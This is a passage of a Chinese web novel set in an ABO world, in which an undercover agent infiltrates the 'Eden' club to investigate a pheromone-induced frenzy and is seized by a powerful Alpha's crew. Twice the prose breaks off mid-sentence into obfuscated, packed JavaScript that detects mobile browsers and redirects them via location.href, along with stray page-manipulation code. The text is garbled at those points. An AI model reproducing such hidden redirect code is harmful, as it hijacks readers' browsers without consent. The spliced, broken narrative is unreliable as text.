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“一味的躲避、逃跑,像只受惊的兔子一样,把最脆弱的脊背暴露给野兽,只会更加刺激他们的神经,点燃他们骨子里最原始的掠夺和征服欲。明白了吗?” 季池予其实不是很懂。 在读帝都中.央.军.校的时候,她虽然会跟那些自诩天之骄子的Alpha同学有交集,但也几乎是学业上的公事公办,不存在很私人的深入交流。 而毕业之后,她在行动组工作,接触到的Alpha不是正在发狂,就是被她一枪放倒、陷入昏迷的版本。 严格来说,她真正熟悉的Alpha,也就只有季迟青一个人。 所以,之前在应对陆吾的时候,她都是参考着小迟的思考和行为模式,去套用公式的。 但黏人的家养大狗狗,和野生且有毒的灾难片猫科BOSS,这能一样吗?! 季池予可怜巴巴地看过去,想等楠姐再捞一捞,给点答案抄抄。 这题超纲了! 她只是一个普通路过的地球人,又不是Omega,也没有能让Alpha失去理智的信息素,她怎么知道要如何把Alpha玩弄于股掌之上啊! 姜楠终于从光屏上抬起头。 她看着季池予那张毫无攻击性,甚至像Omega一样惹人怜爱的脸,不由又想起,当年自己从街上捡到对方的事。 那是一场发生在核心商业区的恶性Omega信息素泄露事故。 失控的、狂暴的信息素如同无形的海啸,瞬间席卷了两条繁华街道。 被卷入其中的Alpha们双目赤红,陷入狂躁的争斗;波及到的Beta和Omega,也全都痛苦地蜷缩在地,呕吐甚至晕厥。 即使是A级的高阶Beta,在踏入那风暴边缘的瞬间,就会被那混乱狂暴的信息素对冲,压迫得呼吸困难、寸步难行。 当时的她,率队严阵以待,已经做好了会出现严重伤亡的最坏打算。 结果,季池予就那样突兀地出现了。 她似乎是刚刚从其中一间的甜品店出来的,手里还捏着半块没吃完的草莓蛋糕,脸上是没搞清楚事态的迷茫,独自行走在风暴的中心。 狂暴的Alpha信息素如同实质的刀锋,Omega绝望的哀鸣如同尖锥,连空气都弥漫着绝望和铁锈般的血腥味—— 而这一切,都无法触及她分毫。 她像是行走在真空里,被隔绝在另一个维度。 在一片信息素交织的人间地狱中,独她片叶不沾身。 从那一刻起,姜楠就知道,这个人注定成为一个“规则破坏者”。 一个天然吸引着所有Alpha目光,却又让他们所有引以为傲的“武器”都彻底失效的、令人求而不得的悖论存在。 事实证明,她也没有猜错。 “紧张什么?”姜楠的声音里,甚至带上了一丝不易察觉的笑意,“照你平时那样,正常去做就好。” 她微微偏了下头,目光仿佛穿透季池予的身体,看到了某个遥远而危险的存在。 但姜楠微笑着,意味深长道。 “——那就已经足够让Alpha疯狂了。” 10. 【010】 【010】 说实话,季池予没懂。 但在领导面前承认自己不行,向来是职场大忌。 于是,她又选择性,挑了自己觉得听懂了的部分,开始在升职加薪的赛道上努力冲刺。 ——反正就是,凭她感觉来就对了吧? 季池予偷偷溜回了简知白的诊所。 她有诊所的自由出入权限,所以连门铃都不需要按。 季池予理直气壮,无视了门口“暂停营业”的挂牌,一路畅通无阻地往里走。 刚推开门,就看到简知白站在客厅里,举着马克杯,正准备饮下的样子。 他应该也是才醒没多久,连衬衫都没换,还是昨天晚上的那件。 向来讲究整洁的衣物,在腰部和袖口都叠出了凌乱的褶皱,落在窗外的阳光下,整个人透露着一股刚起床的慵懒与柔和。 营造出一种很好接近的错觉。 季池予探着脑袋,往他杯里看了眼。 果不其然,是营养剂代餐。 “早上不是给你打过伙食费了吗?你怎么又吃这个?” 季池予的表情很是嫌弃。 虽然随着方舟集团的市场普及,廉价又容易有饱腹感的营养剂,因其性价比,越来越受到广大民众的青睐,甚至有从下城区往中间蔓延的趋势。 连中央区的行动组,在值外勤的时候,装备包里也会配上几支,以备不时之需。 但季池予是坚定的反营养剂代餐派。 不知道是不是心理作用,她总觉得营养剂有一股怪味。即便是最贵的那款高端线产品。 季池予坚持:日子过得本来就没什么盼头了,如果再一日三餐都靠营养剂维持生命体征,那跟喝机油的机器有什么区别! 而且,作为一个民以食为天的华夏地球人,她对于这么一小支营养剂,是否能补足人体日常所需的营养,依然持怀疑态度——毕竟哪有人把保健品当饭吃的啊!韩国人也不行吧! 季池予果断没收了简知白的营养剂。 然后,她把自己顺路从食堂打包回来的午餐塞给对方。 “就知道你会随便凑合,吃这个吧。我们单位的伙食还挺不错的……话说回来,你不是挺会做饭的吗?怎么每次都喜欢凑合。” 季池予对这个毫无美食追求的厨子指指点点,恨铁不成钢。 被抓了个现行的简知白,眨了眨眼睛,故作叹息。 “这不是大小姐不在,没人陪着下饭,我一个人嫌麻烦,只好偷懒对付一口嘛。” 假的。 其实简知白根本就对食物没什么要求。 只是他的这位大小姐,偏偏贪吃又挑嘴,让在家里负责掌勺的季迟青,总担心她一个人会不好好吃饭。 所以,季大指挥官才特意在离开之前,把他抓去厨房特训了好几天。 除非季池予在,简知白图方便,向来都是拿营养剂当代餐的。 可不同于寡淡的营养剂,当热腾腾的食物香气扑鼻而来,似乎也的确有种让人心情愉快的魔力。 被一路从中央区抱回来的餐盒,仿佛还保留着与人类体温接近的热度。 简知白勾起唇角。 一边享用送货上门的午餐,他一边将视线落到了季池予怀里,那捧让人难以忽略的赤色花束上。 简知白挑起眉,倒是没露出什么意外的神色。 “这么一大捧绯烬星兰……季迟青应该没这个情.趣。是陆吾送的?” 刚想解释一下的季池予被哽了个正着。 她看向简知白的眼神也变得古怪,开始寻思,这种被贵族垄.断、管控严苛的花,她之前听都没听过,怎么这个黑心庸医一眼就能认出来? 怕不是当面跟她死抠门,背地里又偷偷出去花天酒地、纸醉金迷吧!被她逮到证据了吧! 但这个不重要。 季池予将花随手摆到桌上——因为有楠姐的警告在前,她也没敢把花乱丢,还是老老实实地带回来了。 姑且抛去送花的人不论,花本身还是很好看的,足够赏心悦目。 就是不知道能不能拿来做鲜花饼吃。 季池予坐到简知白的对面,言简意赅地交代完来龙去脉,说了自己要潜伏在黑市调查的事。 考虑到信息素连环失控案的复杂程度,姜楠给了她充分的准备时间。 经楠姐的批准,她还带了一大叠机密的纸质资料过来,准备跟简知白一起盘一下案情脉络。 按照正常的侦办思路,他们最好是能尽快找到失控者之间的共同联系点,以此作为重点排查的方向。 却没料到,简知白听完,就直接转身拿了张地图来,摊开在桌上。 他随手拿起一支笔,将一家名为“伊甸园”的地下会馆圈起。 “刚巧,我也听说了一些事——第十区在昨天,的确发生了信息素失控案。但被人为按下去了。地点就在这个享乐俱乐部。” “从昨日上午开始,伊甸园无故紧闭了大门一天,严格控制进出。直到深夜,被拘.禁的所有相关人员,包括且不限于内部工作人员和客人,才被放行。” “目前暂时还没打听出来具体是怎么回事,但大小姐你在第十区遇到的那个……‘袭警’的Alpha,恰好就是在伊甸园的封.禁前,恰巧先一步离开的漏网之鱼。” “这么一联想的话,真是太巧了,不是吗?” 简知白笑笑,拿笔尖点了点桌面。 “伊甸园有问题。要是想调查信息素失控案的诱因的话,不妨从这里入手。应该会找到点有意思的东西。” 听得季池予一愣一愣的。 哪怕是投币式许愿机,或者多啦A梦的四次元口袋,实现愿望的效率也没这么快的吧?! 她忍不住好奇:“你到底怎么查到的?难道你昨天晚上没睡觉,就是去干这个了?” 说到这里,简知白便不由想起了,至今还躺在他诊所的地下室里,准备未来为人类医学事业做贡献的那个倒霉Alpha。 低声笑了一下,他漫不经心,将这个秘密一笔带过。 “商业机密,这个可就不好细说了——那大小姐你打算什么时候去伊甸园?” 季池予一锤定音:“就现在。” 现在距离伊甸园被解.封的凌晨,也还没有隔太长时间,就算要销毁罪证,也未必能清扫到不留一丝痕迹。 她要打对面一个措手不及。 ……………… ………… …… 季池予再次回到了第十区。 虽然严格来说,第十区也在帝都的中层地段,但由于边缘已经和后三区接壤,再加上黑市的势力日渐庞大,有向外蔓延的趋势。 种种因素,导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16267372|182145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里与“外圈”的界限并不清晰,近些年的犯.罪.率一直居高不下。 越是往第十区的边缘走去,路上能看到的行人就越来越少。 烟蒂、空酒瓶、以及用过的注.射.器,在地上随处可见。 霓虹灯管在低矮的建筑外墙上,苟延残喘地闪烁着,拼凑出意义不明的符号和残缺的广告,将湿漉漉的合金路面染成一片光怪陆离的污浊之色。 而季池予裹在一件宽大的连体工作服里,灰扑扑的混在人群中,几乎和杂乱的背景融为一体。 她在堆满废弃零件的狭窄巷道里穿行,最终停在一扇毫不起眼,甚至有些破败的金属侧门前。 门上没有任何标识,只有角落一个几乎被锈迹覆盖的、模糊的蛇形蚀刻图案。 这是第十区的地下会馆“伊甸园”的后勤入口之一。 简知白的声音,也透过耳骨传导式的加密接收器传来。 “身份的事我已经搞定了,工作人员的通行ID卡在你左手口袋里。现在开始,你就是伊甸园的服务生、艾拉。” “但记住,你最多只有两个小时的调查时间。” “两个小时以后,伊甸园会定时交班轮值,经理将进行人员清点。你必须在那之前,回到这个后门,和真正的服务生换回来。否则身份就会曝光。” 听着这番条理清晰又严谨的安排,季池予也不由感慨,自己这次钱花得可真值。 “简知白,你真的不是多啦A梦吗……说真的,你以后要是诊所开不下去了,不如去当个情报贩子吧。感觉挺适合你的。” 季池予真诚地建议。 毕竟,情报贩子骗钱,也就顶多卖卖假情报;但黑心庸医要讹诊金的话,那可是谋害病人家属的勾当啊。 比如她本人。 季池予还是忘不掉,简知白对季迟青那句轻描淡写的“Alpha很常见的分离焦虑”。 怎么说呢,就真的很想,给对方也找一个这样常见的Alpha体验一下。 这福气总不能她一个人独享吧! 而通讯那端,简知白倒是不知道自己的大小姐,还有如此险恶的计划。 他只是懒洋洋拖长了尾音,含着散漫的笑意:“活儿干得这么漂亮,那大小姐不好心再奖励我点什么吗?” 微扬的语气词像是一把小钩子。 声音通过电流传来,让深藏在耳道里的接收器也跟着微微颤动,带起一阵无法触碰、也无从停止的痒意。 像是耳朵被羽毛轻轻挠过的触感。 季池予下意识缩了下脑袋,却躲不开。 指尖揉着耳朵,她暗骂了对面一句狐狸精——不对,是男狐狸精——警告对方好好说话。 简知白见好就收。 他无缝切回了正事,继续说明注意事项。 因为简知白的那张脸,在黑市多少还有点知名度,如果陪着一起行动的话,反而容易引起不必要的关注。 他会将车停在附近,如果有突发意外状况,再随时见机接应。 “明白。”季池予进行最后的确认。 信息素浓度检测仪、防信号屏蔽器、抑制剂、肌.肉.松.弛.剂……以及,季迟青为她量身定制的那把枪。 熟悉的冰冷触感,让人更多了一分安心感。 她深吸一口气,从口袋抽出那张通行ID卡,踏了进去。 11.【011】 【011】 门后直通伊甸园的后台准备区。 刚踏进来,季池予就瞬间被淹没在声浪与气味里。 客人已经陆续入场,前厅正在做正式营业前的热场。 震耳欲聋的音乐如有实质,穿透层层隔板,从舞池大厅的方向凿过来,一拳拳捶在耳膜上。 空气里混杂着廉价香水、汗水的酸馊、刺鼻的发胶、劣质酒精挥发的气息,以及……一股若有若无的甜腻。 让季池予忍不住蹙起眉。 这股气味很难形容,不像是脑海中曾经记录过任何一种的味道。 非要说的话,有点像是熟透的果实,在溃烂时散发出的腐败甜香,丝丝缕缕地钻进鼻腔里,缠绕在呼吸间,挥之不去。 以至于,即便有那么多杂乱的气息混在一起,也依然能清晰地辨认出它的存在。 季池予下意识想要找到这股甜腻的源头。 可下一秒—— “动作快点!磨蹭什么呢!前面暖场都开始了,这点东西都还没准备好,你们是死人吗?!” 像是鞭子在抽打空气,尖锐刻薄的中年男声一响,就瞬间撕裂了嘈杂的背景音,直穿每个人的耳膜。 “都是Beta装什么娇贵,你以为你是Omega?只要躺下来、两腿一张就能赚到钱啊?” “干不了就滚!你不想干,有的是人想来我这里做事!” 说着,身穿经理制服的男人又一脚踹了过去。 被骂的服务生不敢挣扎,整个人被踹得往后摔去,撞散了堆放在角落的空箱子,弄得一地狼藉。 男经理气不过,带着戾气的视线往周遭一扫。 “看什么看?还不快滚过来收拾!都要我一个个亲自去教是吧?” 周围的人连忙跑过来,像受惊的工蚁,在狭窄的通道里跌跌撞撞前行,扑在地上收拾残局。 而更远处,几个身材魁梧、腰间挂着电.击.棒的保安,正靠在墙边抽烟,于烟雾缭绕中投来审视的目光。 场面愈发混乱。 而此时,季池予便像一滴水,融入浑浊的激流中。 她低下头,跟在其他服务生后面,先往更衣室的方向挤去。 行走的同时,季池予的目光快速扫过四周布局,与简知白提供的那份伊甸园地图,在脑内飞速做对比和更新。 她此行的目的地,是一楼的舞池大厅。 伊甸园的整体设计结构分明。 一楼是巨大的下沉式舞池大厅,鱼龙混杂,是普通客人、寻求刺激的边缘人物、以及那些被“特殊表演”吸引而来的狂热者们的狂欢场。 而二楼,则是悬于这片混乱之上的VIP专区,专供那些真正手握权力和财富的上等人享用。 据那个第十区被抓的的失控Alpha交代,事发当晚,他仅仅在一楼活动,并未踏足二楼的领域。 所以信息素失控的线索,必然埋藏在一楼那片沸腾的舞池里。 季池予挤进更衣室里,换上统一的侍者制服,又从角落里翻出一个闲置的金属托盘,把角色扮演的道具配置齐全。 她最后对着镜子快速确认了一眼。 脸上已经被简知白提前做过伪装,再把头发垂下来,遮住眼睛和大半张脸,配上这身复制黏贴般毫无特色的侍者打扮,丢进人群里,恐怕都分不清谁是谁。 她就这么悄无声息地,汇入了端着酒水食物、匆匆向前厅涌去的服务生队伍。 穿过分割前厅与后台的隔音帘,季池予的眼前豁然开朗—— 随即,便被巨大的感官冲击所淹没。 伊甸园的内部空间远比外面看起来庞大幽邃。 穹顶高挑,却被刻意涂刷成压抑的暗红色,仿佛凝固的血块。 无数道色彩刺目的镭射光束,在弥漫的干冰烟雾中,制造出光怪陆离、令人头晕目眩的视觉效果。 震耳欲聋的音乐不再是单纯的节奏,而是变成了物理性的声压,沉重地撞击着胸腔,让心脏都跟着狂跳。 一楼的正中央,则是巨大的下沉式舞池。 而眼下,这里已经成了狂欢之地。 一眼看过去,舞池内密密麻麻的,全都是随着节拍疯狂扭动的人影。 理智与文明的外衣,在这里被彻底碾碎,只剩下被原.始.欲.望和声光刺激催化的本能躁动。 哪怕没去看检测仪,季池予也能大概猜到,这里的信息素浓度到底有多混乱。 但还不等她抽身去调查线索,舞池却异样突生。 整个大厅里的人,无论身处哪个角落,都忽然不约而同地,停下了原本的动作。 他们仰起头,欢呼着,将视线聚焦在了舞池的正上方。 如同嗅到了血.腥.气的狂热鲨群。 ——视野中央,赫然悬挂着一座巨大的黄金鸟笼。 镂空的花纹如荆棘缠绕,堆砌出来的华美,在幽暗中折射出冰冷而奢靡的光,像个祭坛。 而笼中祭品,正绕着金色钢管起舞。 那应该是个Omega。 舞池的彩灯狂乱刺眼,季池予看不清那张脸,唯有光影勾勒出的曼妙曲线,在屏幕上被刻意放大。 像一道无声的邀请函。 再混入Omega甜美诱.惑的信息素,一瞬间,便如同烈火浇油,立刻点燃了整个大厅的欲.望。 享用着这份祭品,人群狂欢至高.潮。 季池予抿了抿唇角。 来这一趟之前,她听简知白提起过,伊甸园虽然位于第十区的边缘地带,但声名远扬,甚至不乏中央区的贵客会专程前来享乐。 近些年,伊甸园的老板也都是常年稳居第十区前几名的纳.税大户。 而真正让伊甸园打败其他竞争者、成功立起招牌的,就是只有在这里才能看到的“特殊表演”。 季池予原以为,这就是节目的全部了。 可刚才还暧.昧.轻.佻的旋律却陡然一转。 密集的鼓点如暴雨倾盆,穹顶所有灯光瞬间熄灭,只留下一道惨白到刺眼的光束,如同审判的铡刀,钉死在笼内那道纤细的身影上。 “嘎吱——嘎吱——” 悬挂鸟笼的粗重锁链,忽然发出了令人牙酸的的金属摩擦声。 下一秒。 黄金鸟笼轰然坠地,嵌进了舞池中央预留出的圆形平台上。 大片的闪光金粉,混合着浓得化不开的粉色干冰雾气,海啸般向四周席卷扩散。 季池予再次闻到了那股仿佛无处不在的诡异甜香。 而且,比之前还要浓郁好几倍! 空气中,像是被混入了粘稠的糖浆,连呼吸都变得艰难。 季池予下意识捂住口鼻,想要往后退去。 却已无路可退。 ——鸟笼坠落之后,舞池内短暂的、死一般的寂静,被瞬间爆发的狂潮撕碎。 “啊啊啊啊啊!” “我的!是我的!” “都滚开!都给老子滚开!” 在粉雾弥漫中,距离最近的那几十个人影,已经彻底化身为疯狂的野兽。 他们踩在彼此身上,不顾一切,扑向那还在微微震颤的黄金鸟笼。 无数只布满青筋的手,带着毁.灭.性的狂热,争先恐后从笼子的缝隙中伸进去,抓向那个因恐惧而蜷缩成一团的Omega。 看似牢固的囚笼,也在众人的疯狂挤压下,发出不堪重负的呻.吟,仿佛下一秒就要被这群野兽撕碎。 “好香……是真的!活的Omega!” “过来!再让老子摸一把!” “碍事的都去死!去死!” 哭喊、咒骂、兴奋的喊叫声、身体激烈碰撞的闷响、指甲刮擦金属的刺耳噪音…… 这一切,混合着更加狂暴混乱的音乐,在被粉色雾气笼罩的空间里,持续回荡发酵,酿成一片彻底失控的人间地狱。 季池予也被人潮裹挟着,身不由己,被推向那沸腾的混乱中心。 越是靠近,那股甜香就越是浓郁,缠绕在每一次呼吸之间,带来令人作呕的眩晕感。 而腕间,信息素浓度检测仪的疯狂震动,也像是死神的催命符。 事已至此,季池予敢断定:绝对就是这个!让Alpha突发信息素失控的诱.因,绝对和这个诡异的甜香有关! 她必须弄到粉色雾气的样本。 季池予飞快扫了眼终端上的时 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“你身上,好香啊。好香好香好香……好香?Omega?你是……Omega吗?” 自言自语着,他突然停下来,向季池予咧开一个僵硬诡异的笑容。 季池予瞳孔骤缩。 身体的速度比脑子更快,她没被抓住的另一只手,立刻探向了藏在后腰制服下的装备包。 枪?不行,动静太大。如果在这里打草惊蛇,那就前功尽弃了。 季池予果断抓起了那支自带注.射.器的肌.肉.松.弛.剂。 不退反进,她忽然主动迎向对方,弯起眼睛,向Alpha露出一个灿烂的笑容。 本就反应迟缓的Alpha,见状不由愣了一下,生出几分迟疑,吃力地企图驱动大脑思考。 抓住这一瞬,季池予立刻欺身贴了过去,抬手就将藏在掌心里的针.头刺向A对方! 这是简知白亲自调配的药剂,见效极快。 在周遭如此狂乱的氛围下,没有人会在意一个Alpha的小小异样。 出于职业操守,为了避免发生人群踩踏的伤亡惨案,季池予正想扶对方一把,却忽然听到身后传来一声口哨。 在与她极近的距离。 “哇哦。好凶。”那人笑嘻嘻地说,“原来现在的兔子真的爱咬人啊?” 季池予立刻警觉地转身看去,右手已经按在了藏制服下的枪上。 但对方却先一步扣住了她去拿枪的手腕。 “不要动,再动我可就不能保证会发生什么了!……哦不对,这个好像是男主的台词。” 从没见过的少年,突然出现,又突然自顾自地陷入沉思,仿佛在研究什么很重要的问题。 火一般浓烈的发色,黄金瞳,看起来非常年轻,甚至带着几分青涩的少年稚气,有种混血感的精致。 但他手上的力道可一点都不像个孩子。 很疼,季池予觉得自己的手腕应该已经被勒住印子了,完全没有挣脱的机会。 而对面还在纠结到底要念哪句台词。 “那我应该说:还从来没见过少爷对一个女人这么上心?” 一只手摸着下巴,少年看过来,仿佛是在认真地征询用户意见。 于是,季池予也忍不住非常诚恳地建议他。 “不如你当场甩个五百万的支票给我,让我离开你的少爷?” 少年闻言,立刻不满地撑圆了眼睛。 “五百万也太便宜了吧!你这个人怎么这么没眼光!不行不行,你起码也得开口要个——” 话说到一半,他却突然打了个寒噤。 飞快地回头瞄了眼身后,他表情一变,决定将人设切换成冷酷的反派角色。 “总之!女人,你自己挑起来的火,自己灭!头儿要见你,你老实点。要是再逃跑的话,我就只能帮你把腿先打断了哦?” 少年弯眼冲她笑,声音欢快,唇边露出一点尖锐的虎牙。 “我的技术可是我们那边最好的!到时候接回来,保证你还能跑能跳……怎么样?要试试看吗?” 12.【012】 【012】 说完,少年就单手拎着她,轻轻松松地往舞池外走去。 在季池予看来,难如登天的人墙围城,于他来说,却仿佛只是分花拂柳一般轻松,所到之处,所有阻碍都会自觉让出一条通道。 即便这片人群都处在理智濒临丧失的狂热境地。 毋庸置疑,这是一个至少A级的高阶Alpha。 季池予却还在心里盘算着对方的用词:“再逃跑的话”?不对,她什么时候跑的第一次? 盯着对方的背影,季池予确认,自己绝对从来都没见过这个人。 不管是那头惹眼的红发,还是那张带着危险锋利感的漂亮长相,但凡打过一次交道,都不是能轻易忘记的类型。 那么,她最近唯一能够得用上“逃跑”这个词的事就是…… 季池予呼吸微顿:“你的‘头儿’是陆吾?” 她开口时,少年正在拿贵宾卡,刷开通往二楼VIP区的通道入口。 听出季池予语气中的不确定,少年立刻回过头,忍不住好奇地采访她。 “你在外面到底还甩了几个Alpha啊?哎,我不跟头儿打小报告,你能不能偷偷告诉我?俞研他这次小气得要命,都不肯给我看你的调查档案!” “你不是Beta吗?你这细胳膊细腿的脆皮身板,力气大点都能对半折了吧?怎么做到的?好厉害!” 少年眨巴着眼睛,语气里,没有一丝对季池予“沾花惹草”的愤愤不平,全都是对她胆量和体能的双重敬佩。 以及对吃瓜的无限热情。 看起来倒像是蛮好骗的样子。 于是,同样阅剧无数、知识储备丰富的季池予,瞬间就代入了最近的热播剧《离家的诱.惑》里,那个脚踏三条船的渣男角色。 在强装的镇静中,又流露出一丝恰到好处的心虚。 “不多、不多,都是工作需要。Beta嘛,出来混总免不了要逢场作戏一下的。而且我也顶多就是被电话通知,拉去凑个热闹而已啦!” 她也确实没说谎。 行动组的执行专员,每天的日常不就是接电话,然后出入各种隐秘场合,忙着给滥.用信息素的Alpha和Omega收拾善后吗? 比如说,昨天那个信息素失控状态的陆吾。 严格意义上,也算是她的职责所在。 理直气壮地念完台词,季池予大手一挥,给了少年一个“你懂的”眼神,又凑过去交头接耳。 “所以那个……小哥你能不能也偷偷告诉我,执政官他这一次,该不会是专门来逮我的吧?” 身为一线的吃瓜群众,兰斯还在感慨,原来Beta的世界这么复杂啊。 一个问题换一个问题,很公平,他就随口答了。 “那倒不是,你也没那么重要,只是赠品,顺带的。谁让你自己都送货上门了,假装看不到也挺不……哦!不绅士!” 考虑到季池予是老大要找的人,没上过几天学、睁开眼就在地下斗兽场厮杀的兰斯,还是努力从贫瘠的词库里,挤出了一个不带脏话的。 不过说到这个,他其实也挺佩服头儿的。 就刚才那个群魔乱舞的情况,从二楼包厢俯看舞池大厅,人多得跟闹虫灾一样,密密麻麻的。 换他来,别说看清长相了,连底下是人还是畜.生都分不清。 结果头儿竟然能在那么混乱的背景板里,精准认出了季池予这个人,甚至还是经过乔装打扮的版本。 兰斯感觉,估计头儿昨天回来发现人不见了,是真的有被气到。 不愧是他的老大,连记仇都记得这么清楚!而且,运气还这么好!跑掉的兔子都会自己送上门来诶! 省得他回头还要单独再跑一趟抓人。 于是,兰斯看这个很懂事的Beta的眼神,也多了几分满意。 停在包厢门前,他都没直接上手搜,只是把对方拎起来、左右晃了晃,友善地提醒她,把藏在制服下的东西交出来。 ——陆吾并不是专程为她而来。 确认这件事之后,季池予松了半口气。 这至少说明,陆吾暂时还没查出她的真实身份,对她顶多是“被一个Beta成功逃走”的不快,准备在她这里找回场子。 如果只是这种程度的话,应该还有的谈。 至于剩下的半口气能不能松,就要看她等下的表现如何了。 但也只是她一个人的表现。 季池予自觉上交了自己的枪和个人终端后,又将手搭在了右耳上。 藏在耳道深处的加密通讯器中,正传来简知白的声音。 他在问她准确的包厢号。 简知白的口吻依然很冷静,只是比平常的语速要稍快一些,隐约能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他接过那个只有米粒大小的微型加密通讯器,指尖一捏,便将金属碾成了黑灰色的碎屑,彻底消除被监听的潜在可能性。 鼓起脸颊,兰斯带着点孩子气,先吹去了指腹残留的粉末,才又抬眼看向季池予。 “等会儿咱们进去之后,记得保持呼吸,不要断气哦?” 他笑眯眯地说。 13.【013】 【013】 这应该是兰斯头一回,这么好心地给别人提示。 他是认真的。 然而,作为当事人,季池予的第一反应是:不会吧不会吧?他不会真的认为自己很幽默吧? 季池予欲言又止,最后还是敷衍但捧场地鼓了下掌。 好在兰斯也很好糊弄。 似乎只要得到掌声,他就被哄满意了,连二次搜身确认都没有,高高兴兴地转过身去刷卡开门。 季池予几乎幻视了兰斯愉快竖起的尾巴。 这份“信任”,或许是出于Alpha对Beta一贯的轻视和傲慢,不觉得一个F级的Beta能在他们面前耍出什么花样。 这是绝大多数高阶Alpha的通病。 再加上,她又主动交出了微型加密通讯器,姿态摆得正,不像是敢顶风作案的样子,就更容易取信于人。 季池予作为一个常年在社会歧.视链底层,每年还能因为“十级残疾”领到一笔人道主义关怀津贴的Beta,对此再清楚不过。 所以,她看向兰斯的眼神,也不由多了几分对笨蛋小狗的慈爱。 ——在兰斯背过身的瞬间,季池予立刻将刚才举起示意的手垂下,让卡在袖管里的子.弹顺势滑落,悄无声息地接在掌心里。 这枚子.弹,是她刚才被拎来二楼的路上,趁乱摸出来的。 和行动组统一配置的麻.醉.弹不同,这种特制子.弹内,混有季迟青的信息素,弹壳结构也做了特殊处理,设置了能够手动拆解的用法。 在无人能够被信息素赦免的ABO世界,S级Alpha的信息素,就是最强效的毒药,无异于生.化.武.器。 虽然剂量不多,就算成功引起了S级之间的信息素对冲,影响也有限,时间和范围都不会太大。 但也差不多够用了。 尤其是,陆吾昨天才刚刚经历过信息素失控,腺体和信息素的状态应该还没有彻底稳定下来,更容易受到冲击。 所以,即便接下来,她要面对的是一名S级加两名A级Alpha的配置,季池予也有自信,能够在制造出这个混乱之后,顺利逃脱。 不好意思,但地球人在信息素暴.动现场里,就是这么横着走路的! 不过要是真的这么做了,那就等于是彻底和陆吾撕破了脸,她也要做好连夜扛起飞艇、跑去投奔小迟的准备。 不到万不得已,季池予还是希望别走到这一步最好。 在兰斯回过头来之前,她不动声色地将子.弹换了个地方藏好。 看着还一无所知、晃着尾巴的兰斯,季池予目光和蔼。 所以她上次就说过了,这一届的绑匪,职业素养还是太差了。感觉还没她跑路的经验丰富。 但很快,季池予就意识到,兰斯或许只是不擅长当“绑匪”而已。 以及,他的那句“保持呼吸不要断气”—— 是非常认真的提醒。 ……………… ………… …… 季池予随兰斯进入包厢。 身后,厚重的合金门缓缓闭合。 外面本该震耳欲聋的嘈杂,全部都被吞噬殆尽,只剩下一点沉闷而遥远的动静,像是隔着深海传来的模糊回响。 取而代之的,是有人战栗的求饶声。 “——执政官大人!您真的误会了!我、我真的不知道您要问的答案!您昨天也派人来查过了,那件事真的就是个意外啊!” 屋内并不只是陆吾和俞研,还有第三个人在场,应该就是兰斯口中所说的“正事”。 季池予下意识抬眼看去。 陆吾就坐在正对面的那张沙发上。 他双腿交叠着,衬衫的纽扣被解开上面几粒,表情似笑非笑,与奢华的背景相衬,像个标致极了的斯文败类、从小浸在纸醉金迷里的纨绔子弟。 上次打过交道的精英男俞研,则站在他身后一步远的地方,如同一道没有存在感的影子。 而忙着求饶的第三人,正跪在他面前。 从季池予现在的角度,看不清那人的脸,但她还是通过那件有点眼熟的制服,勉强拼凑出对方的身份。 是她之前在后台见过的那个男经理。 前不久还在侍者面前耀武扬威、动辄打骂的人,在面对身份更高的权力者时,就立马换了张面孔,仿佛也终于想起“人被打就会痛”这个道理了。 前后反差之大,让季池予险些没认出来。 这倒是巧了……那她想要弄到的粉色雾气的样本,是不是也可以直接从这个人着手? 还惦记着自己此行的真正目的,她将视线落到经理身上,若有所思。 但下一秒,季池予就被兰斯拎到了旁边站好。 兰斯冲她竖起一根食指,做了个“噤声”的手势,眼睛却透露出一股闷着坏水的跃跃欲试。 “这家伙完蛋了!都这样了,还想着要跟陆哥狡辩呢。这下有热闹看了。” 不知道是从哪儿单方面建立起的友谊,兰斯自顾自摆出了一副哥俩好的态度,像是小学生手牵手去春游。 跟她讲完悄悄话之后,兰斯又整盘端走了茶几上的豪华果切,一边看戏,一边猛猛吃,还不忘眼神示意她别客气,一起啊。 季池予:“……” 连她都看到俞研的脸已经黑了啊!不要仗着老板和上司在开会、没空腾出手来教训你,你就放飞自我啊!请问是不打算活过今晚了吗?! 然后季池予果断加入了兰斯。 反正她的工资又不是陆吾开的,要挨骂也是兰斯挨骂。不吃白不吃,这果盘好贵的。 于是,躲在角落里、努力吃得两颊鼓鼓的松鼠,变成了两只。 季池予仿佛听到了一声短促的轻笑。 可等她抬眼向声源看去,却是陆吾在对伊甸园的经理微笑。 陆吾看着经理,话却是在问身后的俞研。 他故作叹息:“怎么这几天,大家的耳朵都不太好使,听不懂我说话呢……俞研,你说该怎么给他们治治这毛病?” 俞研只是沉默,因为他知道陆哥并不需要他的答案。 果不其然,陆吾紧接着下句便是:“既然耳朵派不上用场,那干脆帮他们割掉怎么样?” 陆吾的语气像是玩笑,可他从来都不是会开玩笑的人。 本来就气短的经理,这下更是抖得像筛子一样。 他汗流浃背,整个人像是从水里刚捞出来的,但还是没改口,只是不断把刚才的车轱辘话来回重复,一个劲地说自己冤枉、自己真的不知情。 没意思,陆吾的耐心彻底告罄了。 他一只手撑着侧脸,忽然懒洋洋地打断对方。 “对了,忘记恭喜你了,听说你上个月刚有了个孩子?” 没有给经理反应过来的机会,陆吾抬起右手,随便冲俞研动了动手指示意。 “来都来了,俞研,你跑一趟,去把他的孩子和伴侣都请来。一家人最重要的就是整整齐齐,对吧?也让我顺便补个满月酒的礼好了。” 话音刚落,经理的表情瞬间僵住了。 